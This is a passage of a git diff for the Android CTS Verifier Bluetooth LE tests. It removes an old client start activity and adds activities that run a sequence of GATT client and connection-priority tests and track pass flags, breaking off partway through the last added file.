- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.bluetooth;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Handler;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewGroup;
-import android.widget.BaseAdapter;
-import android.widget.ImageView;
-import android.widget.ListView;
-import android.widget.TextView;
-import android.widget.Toast;
-
-public class BleClientStartActivity extends PassFailButtons.Activity {
-
-    private TestAdapter mTestAdapter;
-    private int mAllPassed;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_server_start);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.ble_server_start_name,
-                         R.string.ble_server_start_info, -1);
-        getPassButton().setEnabled(false);
-
-        mTestAdapter = new TestAdapter(this, setupTestList());
-        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
-        listView.setAdapter(mTestAdapter);
-
-        mAllPassed = 0;
-        startService(new Intent(this, BleClientService.class));
-    }
-
-    @Override
-    public void onResume() {
-        super.onResume();
-
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BleClientService.BLE_BLUETOOTH_CONNECTED);
-        filter.addAction(BleClientService.BLE_BLUETOOTH_DISCONNECTED);
-        filter.addAction(BleClientService.BLE_SERVICES_DISCOVERED);
-        filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ);
-        filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE);
-        filter.addAction(BleClientService.BLE_CHARACTERISTIC_CHANGED);
-        filter.addAction(BleClientService.BLE_DESCRIPTOR_READ);
-        filter.addAction(BleClientService.BLE_DESCRIPTOR_WRITE);
-        filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
-        filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
-        registerReceiver(onBroadcast, filter);
-    }
-
-    @Override
-    public void onPause() {
-        super.onPause();
-        unregisterReceiver(onBroadcast);
-    }
-
-    @Override
-    public void onDestroy() {
-        super.onDestroy();
-        stopService(new Intent(this, BleClientService.class));
-    }
-
-    private List<Integer> setupTestList() {
-        ArrayList<Integer> testList = new ArrayList<Integer>();
-        testList.add(R.string.ble_client_connect_name);
-        testList.add(R.string.ble_discover_service_name);
-        testList.add(R.string.ble_read_characteristic_name);
-        testList.add(R.string.ble_write_characteristic_name);
-        testList.add(R.string.ble_reliable_write_name);
-        testList.add(R.string.ble_notify_characteristic_name);
-        testList.add(R.string.ble_read_descriptor_name);
-        testList.add(R.string.ble_write_descriptor_name);
-        testList.add(R.string.ble_read_rssi_name);
-        testList.add(R.string.ble_client_disconnect_name);
-        return testList;
-    }
-
-    private BroadcastReceiver onBroadcast = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (action == BleClientService.BLE_BLUETOOTH_CONNECTED) {
-                mTestAdapter.setTestPass(0);
-                mAllPassed |= 0x01;
-            } else if (action == BleClientService.BLE_SERVICES_DISCOVERED) {
-                mTestAdapter.setTestPass(1);
-                mAllPassed |= 0x02;
-            } else if (action == BleClientService.BLE_CHARACTERISTIC_READ) {
-                mTestAdapter.setTestPass(2);
-                mAllPassed |= 0x04;
-            } else if (action == BleClientService.BLE_CHARACTERISTIC_WRITE) {
-                mTestAdapter.setTestPass(3);
-                mAllPassed |= 0x08;
-            } else if (action == BleClientService.BLE_RELIABLE_WRITE_COMPLETED) {
-                mTestAdapter.setTestPass(4);
-                mAllPassed |= 0x10;
-            } else if (action == BleClientService.BLE_CHARACTERISTIC_CHANGED) {
-                mTestAdapter.setTestPass(5);
-                mAllPassed |= 0x20;
-            } else if (action == BleClientService.BLE_DESCRIPTOR_READ) {
-                mTestAdapter.setTestPass(6);
-                mAllPassed |= 0x40;
-            } else if (action == BleClientService.BLE_DESCRIPTOR_WRITE) {
-                mTestAdapter.setTestPass(7);
-                mAllPassed |= 0x80;
-            } else if (action == BleClientService.BLE_READ_REMOTE_RSSI) {
-                mTestAdapter.setTestPass(8);
-                mAllPassed |= 0x100;
-            } else if (action == BleClientService.BLE_BLUETOOTH_DISCONNECTED) {
-                mTestAdapter.setTestPass(9);
-                mAllPassed |= 0x200;
-            }
-            mTestAdapter.notifyDataSetChanged();
-            if (mAllPassed == 0x3FF) getPassButton().setEnabled(true);
-        }
-    };
-
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
new file mode 100644
index 0000000..f7adc3d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -0,0 +1,454 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.ProgressDialog;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.widget.ListView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class BleClientTestBaseActivity extends PassFailButtons.Activity {
+    public static final String TAG = "BleClientTestBase";
+
+    private static final boolean STEP_EXECUTION = false;
+
+    private static final int PASS_FLAG_CONNECT = 0x1;
+    private static final int PASS_FLAG_DISCOVER = 0x2;
+    private static final int PASS_FLAG_READ_CHARACTERISTIC = 0x4;
+    private static final int PASS_FLAG_WRITE_CHARACTERISTIC = 0x8;
+    private static final int PASS_FLAG_RELIABLE_WRITE = 0x10;
+    private static final int PASS_FLAG_NOTIFY_CHARACTERISTIC = 0x20;
+    private static final int PASS_FLAG_READ_DESCRIPTOR = 0x40;
+    private static final int PASS_FLAG_WRITE_DESCRIPTOR = 0x80;
+    private static final int PASS_FLAG_READ_RSSI = 0x100;
+    private static final int PASS_FLAG_DISCONNECT = 0x200;
+    private static final int PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION = 0x400;
+    private static final int PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION = 0x800;
+    private static final int PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION = 0x1000;
+    private static final int PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION = 0x2000;
+    private static final int PASS_FLAG_MTU_CHANGE_23BYTES = 0x4000;
+    private static final int PASS_FLAG_INDICATE_CHARACTERISTIC = 0x8000;
+    private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x10000;
+    private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x20000;
+    private static final int PASS_FLAG_ALL = 0x3FFFF;
+
+    private final int BLE_CLIENT_CONNECT = 0;
+    private final int BLE_BLE_DISVOCER_SERVICE = 1;
+    private final int BLE_READ_CHARACTERISTIC = 2;
+    private final int BLE_WRITE_CHARACTERISTIC = 3;
+    private final int BLE_REQUEST_MTU_23BYTES = 4;
+    private final int BLE_REQUEST_MTU_512BYTES = 5;
+    private final int BLE_READ_CHARACTERISTIC_NO_PERMISSION = 6;
+    private final int BLE_WRITE_CHARACTERISTIC_NO_PERMISSION = 7;
+    private final int BLE_RELIABLE_WRITE = 8;
+    private final int BLE_RELIABLE_WRITE_BAD_RESP = 9;
+    private final int BLE_NOTIFY_CHARACTERISTIC = 9;    //10;
+    private final int BLE_INDICATE_CHARACTERISTIC = 10;  //11;
+    private final int BLE_READ_DESCRIPTOR = 11; //12;
+    private final int BLE_WRITE_DESCRIPTOR = 12;    //13;
+    private final int BLE_READ_DESCRIPTOR_NO_PERMISSION = 13;   //14;
+    private final int BLE_WRITE_DESCRIPTOR_NO_PERMISSION = 14;  //15;
+    private final int BLE_READ_RSSI = 15;   //16;
+    private final int BLE_CLIENT_DISCONNECT = 16;   //17;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+    private Dialog mDialog;
+    private Handler mHandler;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_client_test_name,
+                R.string.ble_client_test_info, -1);
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+        mHandler = new Handler();
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(BleClientService.BLE_BLUETOOTH_CONNECTED);
+        filter.addAction(BleClientService.BLE_BLUETOOTH_DISCONNECTED);
+        filter.addAction(BleClientService.BLE_SERVICES_DISCOVERED);
+        filter.addAction(BleClientService.BLE_MTU_CHANGED_23BYTES);
+        filter.addAction(BleClientService.BLE_MTU_CHANGED_512BYTES);
+        filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ);
+        filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE);
+        filter.addAction(BleClientService.BLE_CHARACTERISTIC_CHANGED);
+        filter.addAction(BleClientService.BLE_DESCRIPTOR_READ);
+        filter.addAction(BleClientService.BLE_DESCRIPTOR_WRITE);
+        filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
+        filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
+        filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
+        filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
+        filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
+        filter.addAction(BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION);
+        filter.addAction(BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION);
+        filter.addAction(BleClientService.BLE_CHARACTERISTIC_INDICATED);
+        filter.addAction(BleClientService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleClientService.BLE_CLIENT_ERROR);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+        closeDialog();
+    }
+
+    private synchronized void closeDialog() {
+        if (mDialog != null) {
+            mDialog.dismiss();
+            mDialog = null;
+        }
+    }
+
+    private synchronized void showProgressDialog() {
+        closeDialog();
+
+        ProgressDialog dialog = new ProgressDialog(this);
+        dialog.setTitle(R.string.ble_test_running);
+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
+        dialog.setMessage(getString(R.string.ble_test_running_message));
+        dialog.setCanceledOnTouchOutside(false);
+        mDialog = dialog;
+        mDialog.show();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_client_connect_name);
+        testList.add(R.string.ble_discover_service_name);
+        testList.add(R.string.ble_read_characteristic_name);
+        testList.add(R.string.ble_write_characteristic_name);
+        testList.add(R.string.ble_mtu_23_name);
+        testList.add(R.string.ble_mtu_512_name);
+        testList.add(R.string.ble_read_characteristic_nopermission_name);
+        testList.add(R.string.ble_write_characteristic_nopermission_name);
+        testList.add(R.string.ble_reliable_write_name);
+//        testList.add(R.string.ble_reliable_write_bad_resp_name);
+        testList.add(R.string.ble_notify_characteristic_name);
+        testList.add(R.string.ble_indicate_characteristic_name);
+        testList.add(R.string.ble_read_descriptor_name);
+        testList.add(R.string.ble_write_descriptor_name);
+        testList.add(R.string.ble_read_descriptor_nopermission_name);
+        testList.add(R.string.ble_write_descriptor_nopermission_name);
+        testList.add(R.string.ble_read_rssi_name);
+        testList.add(R.string.ble_client_disconnect_name);
+
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    public boolean shouldRebootBluetoothAfterTest() {
+        return false;
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            boolean showProgressDialog = false;
+            closeDialog();
+
+            String action = intent.getAction();
+            String newAction = null;
+            String actionName = null;
+            final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+            switch (action) {
+            case BleClientService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+            case BleClientService.BLE_BLUETOOTH_CONNECTED:
+                actionName = getString(R.string.ble_client_connect_name);
+                mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
+                mPassed |= PASS_FLAG_CONNECT;
+                // execute service discovery test
+                newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISVOCER_SERVICE;
+                break;
+            case BleClientService.BLE_SERVICES_DISCOVERED:
+                actionName = getString(R.string.ble_discover_service_name);
+                mTestAdapter.setTestPass(BLE_BLE_DISVOCER_SERVICE);
+                mPassed |= PASS_FLAG_DISCOVER;
+                // execute MTU requesting test (23bytes)
+                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
+                break;
+            case BleClientService.BLE_MTU_CHANGED_23BYTES:
+                actionName = getString(R.string.ble_mtu_23_name);
+                mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
+                mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+                // execute MTU requesting test (512bytes)
+                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
+                showProgressDialog = true;
+                break;
+            case BleClientService.BLE_MTU_CHANGED_512BYTES:
+                actionName = getString(R.string.ble_mtu_512_name);
+                mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
+                mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+                // execute characteristic reading test
+                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
+                break;
+            case BleClientService.BLE_CHARACTERISTIC_READ:
+                actionName = getString(R.string.ble_read_characteristic_name);
+                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
+                mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+                // execute characteristic writing test
+                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
+                break;
+            case BleClientService.BLE_CHARACTERISTIC_WRITE:
+                actionName = getString(R.string.ble_write_characteristic_name);
+                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
+                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
+                showProgressDialog = true;
+                break;
+            case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
+                actionName = getString(R.string.ble_read_characteristic_nopermission_name);
+                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
+                mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+                // execute unpermitted characteristic writing test
+                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                break;
+            case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
+                actionName = getString(R.string.ble_write_characteristic_nopermission_name);
+                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
+                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                // execute reliable write test
+                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
+                showProgressDialog = true;
+                break;
+            case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
+                actionName = getString(R.string.ble_reliable_write_name);
+                mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
+                mPassed |= PASS_FLAG_RELIABLE_WRITE;
+//                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP;
+
+                // skip Reliable write (bad response) test
+                mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                showProgressDialog = true;
+                break;
+            case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
+                actionName = getString(R.string.ble_reliable_write_bad_resp_name);
+                if(!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                    mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                }
+                // execute notification test
+                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                showProgressDialog = true;
+            }
+                break;
+            case BleClientService.BLE_CHARACTERISTIC_CHANGED:
+                actionName = getString(R.string.ble_notify_characteristic_name);
+                mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
+                mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+                // execute indication test
+                newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
+                showProgressDialog = true;
+                break;
+            case BleClientService.BLE_CHARACTERISTIC_INDICATED:
+                actionName = getString(R.string.ble_indicate_characteristic_name);
+                mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
+                mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+                // execute descriptor reading test
+                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
+                break;
+            case BleClientService.BLE_DESCRIPTOR_READ:
+                actionName = getString(R.string.ble_read_descriptor_name);
+                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
+                mPassed |= PASS_FLAG_READ_DESCRIPTOR;
+                // execute descriptor writing test
+                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
+                break;
+            case BleClientService.BLE_DESCRIPTOR_WRITE:
+                actionName = getString(R.string.ble_write_descriptor_name);
+                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
+                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+                // execute unpermitted descriptor reading test
+                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
+                break;
+            case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
+                actionName = getString(R.string.ble_read_descriptor_nopermission_name);
+                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
+                mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+                // execute unpermitted descriptor writing test
+                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
+                break;
+            case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
+                actionName = getString(R.string.ble_write_descriptor_nopermission_name);
+                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
+                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+                // execute RSSI requesting test
+                newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
+                break;
+            case BleClientService.BLE_READ_REMOTE_RSSI:
+                actionName = getString(R.string.ble_read_rssi_name);
+                mTestAdapter.setTestPass(BLE_READ_RSSI);
+                mPassed |= PASS_FLAG_READ_RSSI;
+                // execute disconnection test
+                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                break;
+            case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
+                mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
+                mPassed |= PASS_FLAG_DISCONNECT;
+                // all test done
+                newAction = null;
+                break;
+            case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+            case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                startIntent.setAction(newAction);
+                if (STEP_EXECUTION) {
+                    closeDialog();
+                    final boolean showProgressDialogValue = showProgressDialog;
+                    mDialog = new AlertDialog.Builder(BleClientTestBaseActivity.this)
+                            .setTitle(actionName)
+                            .setMessage(R.string.ble_test_finished)
+                            .setCancelable(false)
+                            .setPositiveButton(R.string.ble_test_next,
+                                    new DialogInterface.OnClickListener() {
+                                        @Override
+                                        public void onClick(DialogInterface dialog, int which) {
+                                            closeDialog();
+                                            if (showProgressDialogValue) {
+                                                showProgressDialog();
+                                            }
+                                            startService(startIntent);
+                                        }
+                                    })
+                            .show();
+                } else {
+                    if (showProgressDialog) {
+                        showProgressDialog();
+                    }
+                    startService(startIntent);
+                }
+            } else {
+                closeDialog();
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                if (shouldRebootBluetoothAfterTest()) {
+                    mBtPowerSwitcher.executeSwitching();
+                } else {
+                    getPassButton().setEnabled(true);
+                }
+            }
+        }
+    };
+
+    private static final long BT_ON_DELAY = 10000;
+    private final BluetoothPowerSwitcher mBtPowerSwitcher = new BluetoothPowerSwitcher();
+    private class BluetoothPowerSwitcher extends BroadcastReceiver {
+
+        private boolean mIsSwitching = false;
+        private BluetoothAdapter mAdapter;
+
+        public void executeSwitching() {
+            if (mAdapter == null) {
+                BluetoothManager btMgr = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);
+                mAdapter = btMgr.getAdapter();
+            }
+
+            if (!mIsSwitching) {
+                IntentFilter filter = new IntentFilter(BluetoothAdapter.ACTION_STATE_CHANGED);
+                registerReceiver(this, filter);
+                mIsSwitching = true;
+                mHandler.postDelayed(new Runnable() {
+                    @Override
+                    public void run() {
+                        mAdapter.disable();
+                    }
+                }, 1000);
+                showProgressDialog();
+            }
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(BluetoothAdapter.ACTION_STATE_CHANGED)) {
+                int state = intent.getIntExtra(BluetoothAdapter.EXTRA_STATE, -1);
+                if (state == BluetoothAdapter.STATE_OFF) {
+                    mHandler.postDelayed(new Runnable() {
+                        @Override
+                        public void run() {
+                            mAdapter.enable();
+                        }
+                    }, BT_ON_DELAY);
+                } else if (state == BluetoothAdapter.STATE_ON) {
+                    mIsSwitching = false;
+                    unregisterReceiver(this);
+                    getPassButton().setEnabled(true);
+                    closeDialog();
+                }
+            }
+        }
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
new file mode 100644
index 0000000..0aa4841
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityClientBaseActivity.java
@@ -0,0 +1,312 @@
+/*

+ * Copyright (C) 2016 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.app.AlertDialog;

+import android.app.Dialog;

+import android.app.ProgressDialog;

+import android.bluetooth.BluetoothAdapter;

+import android.bluetooth.BluetoothManager;

+import android.content.BroadcastReceiver;

+import android.content.Context;

+import android.content.DialogInterface;

+import android.content.Intent;

+import android.content.IntentFilter;

+import android.os.Bundle;

+import android.os.Handler;

+import android.widget.ListView;

+import android.widget.Toast;

+

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleConnectionPriorityClientBaseActivity extends PassFailButtons.Activity {

+

+    private TestAdapter mTestAdapter;

+    private int mPassed = 0;

+    private Dialog mDialog;

+

+    private static final int BLE_CONNECTION_HIGH = 0;

+    private static final int BLE_CONNECTION_BALANCED = 1;

+    private static final int BLE_CONNECTION_LOW = 2;

+

+    private static final int PASSED_HIGH = 0x1;

+    private static final int PASSED_BALANCED = 0x2;

+    private static final int PASSED_LOW = 0x4;

+    private static final int ALL_PASSED = 0x7;

+

+    private boolean mSecure;

+

+    private Handler mHandler;

+    private int mCurrentTest = -1;

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.ble_connection_priority_client_test);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_connection_priority_client_name,

+                R.string.ble_connection_priority_client_info, -1);

+        getPassButton().setEnabled(false);

+

+        mHandler = new Handler();

+

+        mTestAdapter = new TestAdapter(this, setupTestList());

+        ListView listView = (ListView) findViewById(R.id.ble_client_connection_tests);

+        listView.setAdapter(mTestAdapter);

+        listView.setEnabled(false);

+        listView.setClickable(false);

+    }

+

+    @Override

+    public void onResume() {

+        super.onResume();

+

+        IntentFilter filter = new IntentFilter();

+        filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_DISABLED);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_CONNECTION_SERVICES_DISCOVERED);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_HIGH);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_SECURE);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_BLUETOOTH_MISMATCH_INSECURE);

+        filter.addAction(BleConnectionPriorityClientService.ACTION_FINISH_DISCONNECT);

+        registerReceiver(mBroadcast, filter);

+    }

+

+    @Override

+    public void onPause() {

+        super.onPause();

+        unregisterReceiver(mBroadcast);

+        closeDialog();

+    }

+

+    protected void setSecure(boolean secure) {

+        mSecure = secure;

+    }

+

+    public boolean isSecure() {

+        return mSecure;

+    }

+

+    private synchronized void closeDialog() {

+        if (mDialog != null) {

+            mDialog.dismiss();

+            mDialog = null;

+        }

+    }

+

+    private synchronized void showProgressDialog() {

+        closeDialog();

+

+        ProgressDialog dialog = new ProgressDialog(this);

+        dialog.setTitle(R.string.ble_test_running);

+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);

+        dialog.setMessage(getString(R.string.ble_test_running_message));

+        dialog.setCanceledOnTouchOutside(false);

+        mDialog = dialog;

+        mDialog.show();

+    }

+

+    private void showErrorDialog(int titleId, int messageId, boolean finish) {

+        AlertDialog.Builder builder = new AlertDialog.Builder(this)

+                .setTitle(titleId)

+                .setMessage(messageId);

+        if (finish) {

+            builder.setOnCancelListener(new Dialog.OnCancelListener() {

+                @Override

+                public void onCancel(DialogInterface dialog) {

+                    finish();

+                }

+            });

+        }

+        builder.create().show();

+    }

+

+    private List<Integer> setupTestList() {

+        ArrayList<Integer> testList = new ArrayList<Integer>();

+        testList.add(R.string.ble_connection_priority_client_high);

+        testList.add(R.string.ble_connection_priority_client_balanced);

+        testList.add(R.string.ble_connection_priority_client_low);

+        return testList;

+    }

+

+    private void executeNextTest(long delay) {

+        mHandler.postDelayed(new Runnable() {

+            @Override

+            public void run() {

+                executeNextTestImpl();

+            }

+        }, delay);

+    }

+    private void executeNextTestImpl() {

+        switch (mCurrentTest) {

+            case -1: {

+                mCurrentTest = BLE_CONNECTION_HIGH;

+                Intent intent = new Intent(this, BleConnectionPriorityClientService.class);

+                intent.setAction(BleConnectionPriorityClientService.ACTION_CONNECTION_PRIORITY_HIGH);

+                startService(intent);

+                String msg = getString(R.string.ble_client_connection_priority)

+                        + getString(R.string.ble_connection_priority_high);

+                Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();

+            }

+                break;

+            case BLE_CONNECTION_BALANCED: {

